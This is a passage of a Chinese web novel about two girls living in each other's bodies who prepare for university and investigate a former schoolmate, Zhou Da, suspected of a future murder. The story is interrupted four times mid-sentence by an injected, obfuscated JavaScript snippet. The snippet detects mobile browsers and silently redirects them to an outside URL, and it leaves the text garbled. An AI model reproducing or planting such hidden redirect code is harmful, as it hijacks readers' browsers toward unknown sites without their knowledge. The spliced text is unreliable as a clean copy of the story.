闻夏从前一直待在闵湖，唯有那一次学校资助去榆城参加竞赛，那是她第一次离开A省，也是第一次看到还有这样充满活力的地方，她忽地就爱上了榆城。 榆城大学虽然也是好学校，却比不上远在首都的两所顶尖学府，闻夏的老师们一直觉得她去了榆大多少有些可惜。但对姜晓霜来说，以她现在的成绩，想考上榆大却不容易。 没想到“拯救世界”的第一步是要好好学习，姜晓霜内心刚升起的热血小火苗，一下便被这从头浇下的凉水给扑灭了。 长途电话费太贵，闻夏给她电话辅导不太现实；企鹅交流虽然方便，却也不太适用于补习，而且姜晓霜也不能总是跑到姑姑家来借用电脑；课外补习？闻夏上辈子、这辈子，都没机会见着这种东西。 思来想去，闻夏的脑海中又浮现出了夏晨的身影。 姜晓霜有些纠结：他会同意吗？ 夏晨是放学后来替闻夏送的信，吓了她一跳，还以为是有人告白来了。 虽然他送信时的态度友好，但给人补课要耗费不少时间精力，夏晨自己也还是个高中生呢，能答应这种事吗？ 闻夏也没底：我也说不好，但暂时想不出别的办法了。 姜晓霜：嗯……你和他以前关系很好吗？ 闻夏：还可以吧，初中一直当同桌。 姜晓霜：你高考考了多少分？ 闻夏：717 姜晓霜：[大哭][大哭][大哭] 姜晓霜：杀了我也考不了那么高啊！！！ 电脑前的闻夏不由弯了弯嘴角。 闻夏：不用和我一样，我选的也不是高分专业，在670左右应该会比较稳。 姜晓霜：大佬请受我一拜。 姜晓霜：好吧……我努努力，但我不敢保证真的能考上啊。 闻夏：没关系，如果不行，我们再想别的办法。 姜晓霜：QAQ那我明天问问夏晨吧。 姜晓霜：时间不早了，我要先回家了，下啦。 闻夏：好。 将姜晓霜移进和夏晨一样的空白分组，二人的头像都暗着，闻夏点开夏晨的聊天框，输入：闻夏联系我了，谢谢你。 夏晨看来是设置了隐身状态，回复得很快：不用谢。 闻夏还想再说些什么，但一时不知该怎么回复，犹豫一下，最后还是按下了关闭的按钮。 * 第二天，闻夏依旧是刚回到家就收到了姜晓霜发来的信息。 姜晓霜：夏晨居然真的答应给我补课了！！他真是个大好人！ 只能等以后有机会再谢谢夏晨了，闻夏松了口气，回复姜晓霜：那就好，辛苦你加油学习，有问题也可以问我。 姜晓霜的高兴一下子便全数化作了心酸：我会的[大哭][大哭] * 夏晨与姜晓霜约定了每个周末给她补两天课，两人约在了一个咖啡厅，姜晓霜现在已经非常明白钱的可贵，自然不舍得花钱买十几二十块一杯的咖啡，只厚着脸皮在里面蹭座，同时严词拒绝了夏晨想要帮她买一杯的好意。 能帮她补习就已经是最大的好意了，要是之后他每周末都还要请她两杯咖啡，她和闻夏更还不起了。 姜晓霜其实不笨，只是总静不下心，在家对着总是唠唠叨叨劝学的姜母，多少有点逆反，不爱学，一心沉迷看小说。当然，看的书多了，也有好处，她语文成绩不错，但其他学科便停滞在80分的水平。 闻夏却是理科更好，这算得上和她是截然相反。姜晓霜拿出自己的卷子给夏晨看时十分紧张，深怕被他看出自己不是闻夏。但夏晨却没太大反应，只是翻看了一遍她各科的试卷，说打算给她从基础补起。 她那天请夏晨帮她补课，借口是自己之前生病，学习没跟上进度。现在看来是他应该是相信了她编的瞎话，姜晓霜放下心，用自认这辈子最认真的态度听他讲题。 姜晓霜觉得夏晨实在是很会教人，很多课上没听明白的东西，他总能用更简单的例子解释给她听。她的成绩稳定上升，这学期期末时已经能进班级前十了。 闵湖三中是有初中部的，高中部有不少都是初中直升的，大多都听过闻夏这位学霸的大名，对她突然的成绩提升并不太奇怪，倒不如说她刚上高中时的榜上无名更让他们惊讶。 距离大一的暑假还有很多时间，闻夏不急，也不想打扰姜晓霜学习，两人也都没那么多钱花在话费上，只保持着偶尔的企鹅消息。 闻夏时不时会回想起死前看到的模糊面容。 大概是觉得她反正也活不了了，凶手都懒得遮脸，只戴了个鸭舌帽就来袭击她。 虽然看不清晰，但她总觉得凶手有些眼熟，却总想不起来到底在哪见过。 但那段时间榆大已经有几起命案，应该是同一个凶手。只是她也不明白自己怎么就招惹上了对方。 对凶手的身份没有思路，且升到高二之后卫城二中便管得严了很多，晚自习也加上了。虽然是第二次高考，但闻夏也没有能和前世考得一样好的盲目自信，不止姜晓霜，她也需要考进榆大。 凶手的事被暂时放下，两人都埋头学习。 * 六月，高考结束，闻夏仍是拿到了708分的好成绩。姜晓霜勤勤恳恳两年多，也考出了自己都不敢相信的665分。 为了方便闻夏就近观察，以免姜晓霜出现意外，二人仍旧选择了她前世的专业，一同报考了榆大的历史学。姜晓霜踩着线被录取了。 毕竟用着姜晓霜的身体，闻夏问了姜晓霜想读什么专业，但姜晓霜自己却不太在意这个，闻夏能帮她考出这样好的分数就已经是天大的好事了，如果换成她，估计也就是父母说什么她选什么，闻夏前世没去学医或者数理化相关专业，竟然选了个文科的历史学，姜晓霜已经松了好大一口气。 考大学的事了了，二人距离大一的暑假又近一步。 结束了对自己脑子的压榨，姜晓霜只想整天躺在家里不动弹。而闻夏也和陈佳以及另外一个同学约好了要去A省毕业旅行。 当然，陈佳她们是去沿海的宁海市旅行，闻夏则是半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536682|186589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路就与她们分道扬镳，奔向了闵湖。 姜家父母自从她高一那年突然“逃跑”到闵湖，就对这个地名非常敏感，还是因为这次有别的同学一起，才勉强同意了她来A省。 “砰砰——” 家门被敲响，瘫在沙发上发呆的姜晓霜弹射起身，冲去开了门。 虽然很清楚对方的模样，但用别人的眼睛亲眼看见自己的身体，二人不由都是一怔。 “我们终于见面了。”站在久违的家门外，闻夏轻声感叹。 是啊，她们算得上这个世界最熟悉又最陌生的朋友，用彼此的身份生活在这片土地的两个角落，共同分享着再无第三人知晓的秘密，却连一面都未曾见过。 “感觉像多了个双胞胎，”姜晓霜上前，戳了戳“自己”的脸，“这种感觉好神奇呀。” “能再活一次，我也觉得挺神奇的，不过如果能不用再上一次高中就更好了。” 姜晓霜闻言也笑，“但学霸就是学霸，再考一次也能考这么好。” 拉着闻夏进了门，闻夏扫了一眼便知道闻尧不在，“闻尧是不是很久没回家了？” 她记忆里，高考后的那个暑假都没见到过他，却想不起最后一面是什么时候了。她上大学后就没回过家，也不知道闻尧知不知道她死了。 警察大概也联系不上他吧。 听闻夏直呼其名，姜晓霜一愣，反应过来是谁，只是答：“上周他还回过一次呢。” “是吗。”闻夏也怔住，看来和前世是有很多不一样。 “他是不是没给过你生活费？” 闻夏从前的生活费都是从闻尧那坑蒙拐骗来的，有时候看他喝醉，便会直接从他口袋里拿。当然也有被发现的时候，但她都死不承认，即便被打被骂也绝不吭声暴露钱的位置。 没办法，闻尧许久才回一次家，她再不想办法从他身上弄些钱，就真的要饿死了。 姜晓霜想了想，却摇头道：“也不是，就是我高一那次住院，隔了可能半个月吧，他突然回来，给了我500。” “不过也就那500，之后都没有了。” 闻夏只是点了点头。 姜晓霜见她忽然沉默，拍拍她的手臂，“我现在考上了榆大，接下来需要做什么呀？” 结束了学习的任务，总算要到“拯救世界”的时候了吧？ 姜晓霜期待地看着闻夏就要从包里取出什么“魔法道具”，却见她塞了几百块到自己手里。 “你这个假期什么都不用做，姜家的钱我都会给你。” 闻夏整个暑假和大学都在打工，可这是她该吃的苦，不是姜晓霜该替她承受的，至少高中毕业的这个暑假不需要。 “那你呢？”姜晓霜察觉到她的刻意隐瞒，“你花什么钱？你要去打工吗？” “你不能不告诉我，这样就不算还原了，万一凶手就是打工途中认识的人呢？” 闻夏正打算继续劝她，闻言却忽地顿住。 她想起来了，如果没记错的话，那个凶手，还真是她在打工时遇见的。 6. 怀疑 “我想起来在哪见过他了。” 姜晓霜一瞬有些茫然，反应过来她在说谁，表情顿时也郑重了些，“你见过凶手？” “应该是他，好像是叫周……”闻夏捏了捏眉心，努力回想着那一日的场景，“……周达？也不知道是不是真名。” …… 遇见周达时，是大一上学期结束后的寒假。 她没有回闵湖，而是留在了榆城，在学校附近打了两份工。 周达，在寒假快结束时，出现在了她白天工作的那家火锅店。 工作日的白天，除了中午吃饭的时间，店里的客人并不多，独自来火锅店用餐的就更少见了，更别提这人还特意和她搭话，闻夏这才对他有些印象。 她带人去了座位上点单，顺便收拾邻桌的碗筷。男人翻了几页菜单，忽地抬头看她，“有没有推荐的？” 闻夏扫了一眼，伸手将菜单翻回第一页，“这一页都是推荐的。” 谁知对方似乎对推荐菜又突然丧失了兴趣，“听你的口音，是闵湖人吗？我也是闵湖人。” “是吗？真巧。” “遇到老乡，突然就想起了以前的一些事……我曾经失手杀过一个人，虽然最后警察放了我，但是其他人也都不相信我。你觉得呢？” 这莫名其妙的话算得上是骚扰了，闻夏不想费心再重新找工作，看在他是顾客的份上，挤出个礼貌的微笑，“先生您要点什么菜呢？” 似乎是被她没什么波澜的语气噎了一下，男人脸上的笑微微收敛，低头看菜单，又继续往后翻，没点火锅，点了两个炒菜。 闻夏正想将菜单收走，男人却按住了菜单，“你能回答我的问题吗？” 耐心即将耗尽，闻夏深吸一口气，答道：“自己知道没做就好，警察不是放了你吗。” 男人听了她的话沉默两秒，忽地笑了，“如果我做了呢？” 不等闻夏回话，男人又自顾自地继续道，“开玩笑的。我叫周达，能和你交个朋友吗？” …… 姜晓霜听得直皱眉头，“这人怎么怪怪的……他不会从那时候就盯上你了吧。” “可能吧……我没太搭理他，后面上菜也是别人去的。不过……在我之前，榆大还死了两个人，如果都是他做的，感觉又不像是冲着我来的了。” “他还杀了好几个人吗！”想到她们要对上的竟然是这样的人，姜晓霜后背一凉，“要不……要不我们报警吧？” 闻夏缓缓摇头，她早就想过这条路，“我们怎么和警察说呢？还没有发生的事，他们大概不会当真，就算现在能抓到他也没有用，他还什么都没做，也没有罪。而且我们也不确定到底是不是他，也许是我看错了呢。” “那这个周达……他说失手杀的那个人，会不会其实真的是他故意杀的？警察总能查到这个吧？” “重新调查我觉得可能也比较难，毕竟警察最后还是放了他。”闻夏犹豫道，但还是从包里又拿出一个小本子，在上面写下了周达的名字、闵湖人，以及他曾失手杀人的事，“如果有机会，我们也可以查查这件事。” 这个小本子上记录的都是她这几年回忆整理的线索，有一次许文打扫房间还被她看见了，被闻夏用写小说糊弄过去了。姜晓霜那一书架的小说让这个借口听起来也合理许多，好在上高中后女儿成绩一直都不错，许文只是提醒了两句别影响到学习，就没多管。 姜晓霜凑过去看了看，只觉这“拯救世界”的路的确不好走，她们两个刚刚成年的学生，即便现在有了怀疑对象，又能怎么从茫茫人海中找到这个人呢。 她的目光停留在描述周达的那一行，最后落到“闵湖”两个字上，灵光一闪：“他也是闵湖人，会不会是你从前在闵湖就认识的人？” 闻夏没往这个方向想过，但也觉得很有可能，垂下眼回忆着这个名字，半晌后抬眼向姜晓霜确认：“应该不是高中？” “嗯……我也感觉没听到过这个人。” 高中被两人齐齐排除掉，闻夏又努力往前回想。前后加起来她已经从初中毕业7年了，小学更久，许多同学的名字和长相已经忘得一干二净，能够想起来几个姓周的，周达这个名字虽然说不上多特别，但如果是她班上的同学，她不应该一点印象都没有。 难道只是同校？ 她以前连自己都要顾不上了，哪有心思去关注自己班以外的同学。 在脑海中搜寻无果，闻夏无奈摇头，“真不记得有这个人。不过，按他说的，有人意外死亡，或许会有新闻。” 她又掏出手机，输入周达的名字以及闵湖、意外杀人的关键词。 搜索结果非常杂乱，没有一条和周达相关，闵湖市每年发生的意外死亡的案件新闻竟然还不少，而同一件事，不同的平台和媒体都在报道，许多链接点开都是重复的内容，翻了几页，两人也没找着有用的信息。 姜晓霜叹了口气，有些失望，但很快又想起一个人，“要不我们问问夏晨吧？正好我还想谢谢他帮我补课。” 闻夏也同意，“我这次来也是想谢谢他。” “你能在闵湖待几天？” “差不多五天。” 说起这个，闻夏抿了抿唇，看向姜晓霜，“我是和陈佳一起来的，她和另外一个高中同学先去了宁海，后天会到闵湖玩两天，我们再一起回卫城。” “你想见见陈佳吗？” 她和姜晓霜不同，她对自己的高中生活并没有太多留恋，也没有关系多好的同学或朋友。对她来说，高中就是学习，是让她逃离这个家的最后一关。 她有多努力，就能逃得多远。 可姜晓霜有关系亲近的朋友，有关心她的家人，这不是简单地将自己的高中与她交换就能轻易弥补的。 “陈佳？！你一直和她有联系吗？”久违地听到好友的名字，姜晓霜先是一喜，随后却很快冷静下来，“我……还是算了吧。” 陈佳可不认识“闻夏”。 她想起自己三年前刚从闻夏的身体里醒来，第一反应就是联系父母。她跑到外面，好不容易找人借到手机，拨通了妈妈的电话，她接起电话时那样陌生的语气，瞬间堵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536683|186589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住了所有即将脱口而出的话。 正是饭点，许文大概是在做饭，接起电话“喂”了一声，又唤了声“晓霜”，让她帮忙递东西。 那边还有另外一个“姜晓霜”代替她。 电话对面的姜晓霜一直沉默着，半天没人回应，许文奇怪地看了看这个陌生号码，就挂掉了电话。 她能说什么呢？她什么也说不出口。 陈佳也是一样的。 她不知道她真正的好朋友在这里，闻夏能帮忙维持着和她的关系就已经很好，也许某一天她回到自己的身体里，还能继续和她做朋友。 但至少现在，她不想见到陈佳用那样陌生的眼光望向自己。 闻夏点头，没有劝她，转移话题道：“我们和夏晨约哪天？” 跟着夏老师补习了两年，姜晓霜和他算是很熟悉了，拿出手机就给他发消息，“我问问他吧。” 姜晓霜埋头打字的时间，闻夏起身在屋子里转了一圈。 她自从出生就住在这里，听说她也曾和那位传言中貌美如花的生母一起，一家三口过了一段短暂的幸福日子，然后再被闻尧亲手搞砸。 她不知道母亲的名字，甚至不知道她死活，毕竟闻尧每次提起，都只是不耐烦地说她已经死了，她也分辨不出是真话还是假话。 快20年的老房子，因疏于打理，许多角落都已经泛起黄色的脏污，显露出岁月的痕迹，却让她有种从未离开过的恍惚之感。 “夏晨说今天就可以，过两天他就要和家人出去旅游了。”身后传来姜晓霜的声音。 闻夏抬手看表，下午4点多了，约晚饭正好合适，“好，那就约他一起吃晚饭吧。” 夏晨家也不远，三人约在附近街上一家新开的餐馆。闻夏和姜晓霜刚坐下没几分钟，夏晨也到了，姜晓霜朝门边的人挥了挥手。 夏晨坐下，看向对面的两个女孩，目光落到“姜晓霜”身上，笑着打趣道：“这是特意从卫城飞过来请我吃饭吗？我有点受宠若惊啊。” 印象中夏晨似乎不是会这样说话的人，闻夏愣神间，姜晓霜已经被他逗笑，“帮我补了那么久的课，当然得好好犒劳夏老师一顿。” 闻夏适时插话：“我也要谢谢夏同学帮我联系上朋友。” “都多久的事了，不用谢了。”夏晨也笑，目光在她们俩身上来回扫着，“你们……该不会是才第一次见面吧？” “你怎么知道？”姜晓霜惊讶。 “姜同学之前说你们是笔友，不是吗？” “之前我一直没机会来闵湖。”闻夏看了眼姜晓霜，解释道。 “这样。”夏晨点头，忽地又好奇道，“你们不会大学也报了同一个学校吧？” 姜晓霜想也不想便答：“对，我们都报了榆城大学。对了，还没问你，你去哪个城市？” “榆城啊，我过两天就是去榆城旅游。”夏晨笑了笑，“我学校在首都。” 两人相谈甚欢，一旁没有说话的闻夏却暗暗皱眉。 她怎么感觉夏晨的话，更像是在打探她们俩的消息。 7. 感谢 见到老朋友的放松之感淡去，闻夏心里提高了警惕，眼见姜晓霜对着夏晨毫不设防的模样，在桌下轻拍了拍她的手。 其实姜晓霜和闻夏的性格差了许多，乍一看都是不爱说话的类型，但姜晓霜其实更多是因为不熟而感到害羞，熟络之后便能发现她与其他女生一样爱说爱笑。 她的这一面便与闻夏没一点相似了。 正巧服务员开始上菜，姜晓霜收敛了些，夏晨也拿起筷子，招呼对面的二人吃饭。 闻夏吃着菜，心里却想着夏晨的异常，但怎么想都感觉说不通。 她死前看到的那个人，虽然她不能百分百确定就是周达，但也绝对不会是夏晨。 可是，初中之后她和夏晨就几乎断了联系，按他所说，他读的是首都的大学，更是天各一方。高中三年，加上大一一年，四年的时间，说短也不短，也许他身上发生了什么也未可知。 可是四年之间，一个人的改变真的会那么大吗？ 三人都安静用餐，一时气氛有些僵住，姜晓霜左右瞧瞧，按照和闻夏说好的，向夏晨打听起了周达。 “那个……夏老师，你有没有听说过周达这个人？” “周达？”夏晨抬头，思索片刻，随即缓缓摇头，“没有，不过我们班上倒是有一个叫周达远的同学。” 也许周达真是假名？ 闻言，姜晓霜立刻便望向闻夏，闻夏朝她轻轻点头，姜晓霜便继续问：“你有没有他的照片？” “可能有。”夏晨拿出手机，在相册里翻找一会儿，毕业那天大家都兴奋地到处合影留念，他也跟着拍了不少，虽然他和周达远关系一般，但还是翻到一张有他的合影。 他将手机递给姜晓霜，“最左边的那个就是。” 照片里青春正好的毕业生们穿着校服，个个喜笑颜开，姜晓霜将最左侧的人脸放大，闻夏探头打量着，半晌后小声道：“应该不是他。” 姜晓霜将手机递回去，夏晨好奇问道：“是你们要找的那个人吗？” “不是，”保险起见，姜晓霜还是多问了一句，“他身上有发生过什么事吗？比如什么意外杀人、刑事案件之类的？” “意外杀人？”夏晨有些惊讶，但依旧摇头，“没有，不过……” 他垂眸，若有所思道：“初中好像听说过类似的事情，好像是……初二还是初三的时候吧。就是我们学校的学生，闹了好一阵呢，你没有印象吗？” 闻夏停住筷子，他这么一问，她还真记起初中时学校里的确是出过一个案子，似乎是某个学生杀了人。 但是涉及未成年人，这事传扬出去对学校名声也不好，明面上风平浪静，只有学生们私底下谈论几句，老师还特意嘱咐过各班同学不要传播谣言。就连闻夏这样没什么朋友的人都多少听说了几句，只是当时并没有放在心上。 她的食指在姜晓霜手背上轻敲一下，这是二人约定的暗号，一下是肯定，两下则是否定。在这个情况下，便是让姜晓霜继续问了。 姜晓霜扫了她一眼，继续道：“嗯……我不太记得了，你记得那个学生叫什么名字吗？” “好像确实姓周……不过我也不太确定，我晚上回家问问我妈吧，她应该知道得比较清楚。” 正想问对方的母亲为什么会知道，但又怕说漏嘴暴露自己不是闻夏，姜晓霜及时住嘴，感受到手背上又传来一下轻敲，于是点头应下，“好吧，那先谢谢你啦。” 以为夏晨会问到她们为什么找这个人，所以她们也提前准备了答案，谁知夏晨竟然什么也没问。 这一顿感谢宴总算吃完，夏晨却先一步结了账，三人站在店外，夏晨主动提出要送她们，姜晓霜这才想起什么，看向闻夏，“你住哪儿？” 闻夏一下飞机就直奔家里，住宿还没定呢，“我在附近随便找个地方住就好了，先送你回去吧。” 姜晓霜眼睛一亮，跃跃欲试道：“要不你就住家里吧？” 闻夏一怔，没有拒绝，“也行。”随后她又看向夏晨，“你不用送我们了，我们很近的，还要去买点东西，你快回家吧。” 夏晨也不强求，朝她们摆摆手，“好，那我走了，再见。” 二人在回去的路上找了家小超市买了些洗漱用品，拎着塑料袋慢悠悠地散步。 这样安宁美好又有朋友相伴的日子，虽然危机已经逐渐逼近，但这一刻二人都久违地感到了放松与舒适。 姜晓霜在闻夏身体里的这三年，常常会感到有些孤单，她觑着身旁的闻夏，问：“你以前，不觉得一个人寂寞吗？” 闻夏知道她在说什么，摇了摇头，“可能是我习惯了，对你来说应该不太好过吧。” “也还好啦，同学们还是对我很好的。我在班上也有能说话的朋友，不过有时候会遇到你以前的同学，他们都说我变了很多。”姜晓霜故作叹气，“看来是我的伪装还不够好，等上了大学要多向你学习才行。” 闻夏轻笑一声，“那我也要向你学习了。” 说话间便到了家，家里没有电视，闻夏从前唯一的娱乐便是从图书馆借回来的各种书籍，这一次耳边却是姜晓霜的声音，说完一件又不知怎么想起另一件趣事，叽叽喳喳说个不停。 话中的许多同学她都还有些印象，没想到原来换了个人便能和他们产生这样多不同的交集，她却想象不出发生这些事时他们脸上会有什么表情。 “这是我在超市买的，可爱吧！”两人铺着床，姜晓霜抖开被套，向闻夏展示上面印着的小熊图案。 和卫城家里的那些很像，闻夏笑着点头，“可爱。” 分明是自己的卧室，她却感觉仿佛开启了时空隧道，将两个城市连通。 铺好了床，闻夏丢在客厅里的手机响了，她拿起查看，是夏晨发来的信息。 夏晨：我问了，当年那个学生确实叫周达，比我们小一届。 夏晨：当时那个案子发生的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536684|186589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候，他还是我妈一个班的学生。 姜晓霜凑过来看见，这才明白过来，“原来他妈妈是初中老师吗？” “嗯，也教过我们班一段时间。” 姜晓霜拍着胸口，感叹：“还好刚才吃饭的时候我没问出来。” 闻夏低头打字回复：阿姨还记得关于他的其他事吗？ 二人在沙发上坐下，等待着回复，闻夏提醒道：“你小心点夏晨。” “嗯？为什么？”姜晓霜有些惊讶，“他怎么了？” “我也说不好，今天总觉得他在套我们的话。而且，”闻夏举起手机晃了晃，“他应该看出来真正在找人的是我。” 虽然他仍旧很热心地在帮她们，但人是会有好奇心的，夏晨什么都不问，反倒让他显得更加可疑了。 但她内心仍旧不愿相信他真的会和凶手有关联，又补充道：“也有可能是我多想了。以后如果再见到他，说话的时候多注意点就好。” 手机再次震动，屏幕亮起。 夏晨：我妈只教了他一个学期，对他的人不是很了解，不过他好像家庭比较困难，还领助学金。 夏晨：那个案子，是他和父亲起了冲突，父亲受伤没救回来，因为不满16，最后也没有处罚他，没多久就回来上课了，但是好像和其他学生的关系不太好，我妈也不清楚他读完初中之后去了哪。 助学金？那她应该是见过周达的。 每年发放助学金时，学校都会将学生聚集到舞台上，闻夏努力回想着那个不太让人心情美妙的场面，以及列成一排时，站在她左右的人，却都是模糊的面容。 闻夏沉思片刻，回复：阿姨还记得他当时的班主任是谁吗？ 夏晨：好像是初一教过我们英语的严老师，但时间有点久了，我妈不太确定。 严老师…… 好歹也算是有了新线索，闻夏沉沉呼出一口气，敲下最后一句话：谢谢你，也帮我谢谢阿姨。 夏晨回了个笑脸表情，以及一句不客气。 闻夏关掉企鹅，打开浏览器，再次搜索起关于周达的信息。这一次多了未成年人、父亲等关键词，闻夏很快便锁定了一条标题是“家庭争执酿悲剧，一父亲不幸身亡”的新闻。 看日期，是她初三那年的事。 这篇新闻不算短，但用的都是毫无关联的化名，只在开篇介绍了一名未成年人，在与父亲发生争执过程中，推攘致其父亲意外撞伤，后经抢救无效不幸死亡。没有更多的案件细节，后面则是将重心放在讨论了家庭矛盾与青少年教育问题上。 闻夏退出，又点开了其他几篇。但大概是因为周达的年纪，没能找到太多信息，更不可能有照片。 屏幕熄灭，闻夏将手机丢到一旁，抬手按了按眉心。 姜晓霜一直在旁边看着，这时候才开口：“我们接下来怎么办？是去见这个严老师吗？” “嗯，”闻夏抿着唇，“我知道她家在哪。” 8. 老师 这个家里还是第一次住进这样两个同龄人，二人都感觉很是新鲜，关了灯后仍旧有一句没一句地说着话。 再不必受电话和网络的限制，她们现在有无数的时间可以分享这过去的三年时光。 聊到最后，还是姜晓霜先撑不住睡着了。 闻家在二楼，她的房间正对着楼下小巷子高悬的路灯，薄薄的一层蓝色窗帘布无法完全阻挡外面的光线，房间里每到夜晚总还透着暗蓝色的光。 闻夏不知为何困意消散了些，她侧过头，借着光打量着身旁的“自己”。 她们俩真是一点都不像。 虽然到现在也没想明白为什么会是姜晓霜，可这样好像也挺好。 * 第二天，姜晓霜迷迷糊糊醒来，对着空空的身侧发了一会呆，随即连忙起身出了房间，看见安静坐在沙发上的人，才松了一口气。 她打了个呵欠走过去，“几点了？我是不是起得太晚了。” 闻夏从手机中抬起头，“没事，才九点半。昨晚睡得也晚。” “你吃早餐了吗？” “还没，等你一起。” “那我先去洗漱，家里没什么吃的了，我们出去吃吧。” 瞥到一眼手机屏幕，上面密密麻麻都是字，姜晓霜转身往卫生间走，一边好奇道：“你在看什么？还在查周达吗？” “嗯，我找到了一些三中的帖子。” 她初中的时候，网络贴吧和论坛刚开始流行，但那会儿有手机或家里有电脑的同学不算多，几年前的帖子也很少。 反倒是近几个月，有不知从哪个角落里听到些小道消息的人，在闵湖三中的贴吧里将当年的事当做猎奇事件，发出来给现在的学生们看。 楼主发帖的内容很吸引眼球，一上来便问大家知不知道，几年前三中有个学生杀了人。帖子底下有很多回复，有人震惊，有人质疑。 也有人出来作证，说自己哥哥和那个学生还是一个班的同学。 这一层楼有很多条追问，层主回复了两三天的消息，后面大概是不堪其扰，再也没出现过。 其中提到过那个学生在案子之后成了孤儿，居然还能回学校上课。说他本来性子就怪，后面更没人敢惹他了。上高中之后，他们班还组织过一次同学聚会，没人听说过他的消息，也没人能联系到他，就好像人间蒸发了一样。 不少人开始胡乱揣测他的去向，有说他说不定改名换姓重新开始了，也有人说他会不会是又犯了什么罪被抓了，所以才一点消息都没有。不少人对改名换姓的那个猜测表达了害怕。 似乎没有人想起来他是被无罪释放的。 闻夏看着一条条的消息，心里不知是什么情绪。 就连这些陌生的学生都对他有这么大的恶意，那他当初在学校遭受的，大约只会比网络上看见的更糟糕。 也许这是让他多年后犯案的原因之一，但身为他手下冤魂的闻夏，这样的微妙感觉只维持了短短一瞬。 和周达不同班，甚至不同届的夏晨，真的会和她的死有关系吗？ * 姜晓霜洗漱完换了衣服，二人去外面的街上简单吃了早饭。 填饱了肚子，姜晓霜只觉神清气爽，“我们要去哪？” “那里。” 姜晓霜顺着闻夏指的方向望向街对面的楼房，那是一片统一规划的住宅区，外墙刷了亮眼的浅粉色，看上去也有些年份了，但比起闻家那栋几个单元连在一排的老式楼房，便显得崭新又高级了。 二人走到路口等待绿灯，姜晓霜看着对面，感叹：“这么近啊，夏晨家好像也住那里。” “嗯，这里离学校不远，三中很多老师都住这儿。” 她只在初一时来过两次，但过去这么些年，她竟然还能沿着模糊的记忆找到严絮家，闻夏自己都觉得有些不可思议。 门外还贴着过年时手写的福字和春联，闻夏按下门铃，听见里面远远传来一个男声。 也许她已经搬家了，闻夏这么想着。 男人推开门，看见外面两个小姑娘，疑惑道：“你们是……” 闻夏深吸口气，“请问是严老师家吗？” 虽然奇怪学生怎么会找到家里来，但男人还是回头朝着里面大声道：“严絮，有学生找你。” “学生？”严絮从阳台进了客厅，看见门外的两个女孩，在“闻夏”的脸上顿住，“是……小夏吗？” 姜晓霜看了闻夏一眼，闻夏面上没什么表情，她便也只是轻声唤了一声“严老师”。 她早便感觉闻夏对这个严老师态度有些奇怪，但闻夏只说让她见机行事，不用和严老师说太多话，她便尽量保持着沉默。 严絮将两人请进家里，男人看起来和她年岁相当，应该是她丈夫，给她们洗了些水果放在茶几上，便去了里面的屋子，将客厅留给她们。 严絮招呼着她们吃水果，又频频望向“闻夏”，有些局促道：“小夏，好久不见了。” 姜晓霜绞着手指，尴尬应声。 她这模样，看起来便像是不愿同自己多说，严絮张了张口，最后和善地朝闻夏笑了笑，只问出一句：“你是小夏的同学吗？你们来找我，是有什么事？” 意识到自己现在不是“闻夏”，闻夏面对她时反倒轻松几分，她点头，“我叫姜晓霜，是闻夏的朋友。我们有些事想问问老师，您以前是周达的班主任吗？” “周达？”严絮一愣，“他确实是我上一个班里的学生，他怎么了？又出什么事了吗？” “没有，我们就是问问。您有没有他的照片？像是毕业照什么的。” 也是，如果真出什么事了，大概也轮不上这两个学生来找她。严絮松了口气，站起身，“毕业照有的，等我找找。” 严絮进了走廊里的一个房间，她丈夫似乎也在里面，问了句什么。没一会儿，严絮拿了个文件袋出来，里面都是她近几年拍的毕业照，虽然只做一个班的班主任，但她同时都要教两三个班的课，毕业照也因此攒了不少。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536685|186589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她的班都是从初一带到毕业，周达之后的这一届也才刚刚初三毕业，她很快便找到了上一个班的毕业照。 “找到了。”她顺着后排的男生队伍挨个打量，看到最后却疑惑地“咦”了一声，又翻到背面，看过上面和每人位置一一对应的姓名，放下照片，随即恍然道：“对，我才想起来，他没来拍毕业照。” 